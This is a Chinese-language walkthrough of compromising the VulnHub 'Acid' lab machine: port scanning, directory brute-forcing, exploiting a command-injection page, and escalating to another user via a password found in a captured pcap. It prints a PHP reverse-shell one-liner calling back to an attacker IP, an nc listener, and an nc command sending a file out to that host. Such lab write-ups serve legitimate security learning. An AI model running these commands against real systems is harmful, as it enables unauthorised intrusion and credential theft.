渗透实战之靶机Acid
Acid靶机实战
攻击机win10: 192.168.0.112
靶机acid: 192.168.0.173
靶机下载地址 https://www.vulnhub.com/entry/acid-server,125/
用VM打开靶机文件
渗透阶段一 信息收集
用namp 进行主机发现
发现一个可疑主机
然后再用namp 扫描该主机的端口
nmap -p - -A 192.168.0.173
发现了一些有用的信息
尝试打开网站看看
成功发现靶机主机但是界面并没有什么有用的信息
尝试目录爆破
dirbuster的字典目录在usr/share/dirbuster/wordlists目录下
根据nmap的信息 我打开http://192.168.0.173:33447/Challenge/ 是一个登陆页面
先不管了拿这个目录继续爆破
得到这些文件 依次打开感觉都没什么东西 但是打开
http://192.168.0.173:33447/Challenge/cake.php页面的时候显示了一个疑似目录的标题
拿着这个带入dirb继续爆破试试
发现这个目录下有东西
打开http://192.168.0.173:33447/Challenge/Magic_Box/command.php
是一个
是一个命令行注入界面 打开burp试试效果
没有过滤 有数据返回
直接上php 反弹shell
php -r '$sock=fsockopen("192.168.0.161",6559);exec("/bin/sh -i <&3 >&3 2>&3");'
经过url编码后
php%20-r%20'%24sock%3Dfsockopen(%22192.168.0.161%22%2C6559)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B'
IP是我攻击机的IP
在攻击机终端输入 nc -lvnp 6995 开启监听
然后用burp改包上传php
监听成功 反弹shell
提权
查一下有没有什么可以用的
先查看一下账户
cat /etc/passwd
账户acid和saman账户有管理员权限
查找一下该账户的相关文件
find /-user acid 2>/dev/null 解释下: 2>/dev/null 2再ilnux中的意思是标准错误,/dev/null指空设备,即将标准错误重定向到空设备=>不会报错,显错
发现一个网络流量包文件
用nc传输到kali上 也可以用scp指令传输
kali
nc -lvnp 3344 > hint.pcapng
shell
nc 192.168.0.161 3344< /sbin/raw_vs_isi/hint.pcapng
拿到网络流量包文件后用Wireshark分析
用法 文件-打开 然后打开刚刚的流量包文件并过滤掉其他的数据只看tcp的端口
发现一条数据
貌似是saman账户的密码
1337 Hax0r.
用su 切换提权
- sudo : 暂时切换到超级用户模式以执行超级用户权限,提示输入密码时该密码为当前用户的密码,而不是超级账户的密码。不过有时间限制,Ubuntu默认为一次时长15分钟。
- su: 切换到某某用户模式,提示输入密码时该密码为切换后账户的密码,用法为“su 账户名称”。如果后面不加账户时系统默认为root账户,密码也为超级账户的密码。没有时间限制
- sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。想退回普通账户时可以执行“exit”或“logout” 。
- sudo -i 直接运行sudo命令加-i参数
sudo su 运行sudo命令给su命令提权,运行su命令。
sudo -i 运行结果 PWD=/root
sudo su 运行结果 PWD=/home/用户名(当前用户主目录)
也就是我们需要su到一个普通用户,只要知道用户密码,可以通过sudo-i,直接提权至root用户。
但是,su命令前提需要一个终端,需要的是一个终端设备输入密码,但是我们反弹shell的真是一个标准输入样子的。
我们可以用python命令生成一个虚拟的终端( Python -c 'import pty;pty.spawn("/bin/sh")' )
su saman 提权
成功了
虽然不是自己完成的 哈哈哈哈哈哈
知识点增加
参考文章
https://www.cnblogs.com/BOHB-yunying/p/11293862.html
https://www.jianshu.com/p/101973b931b7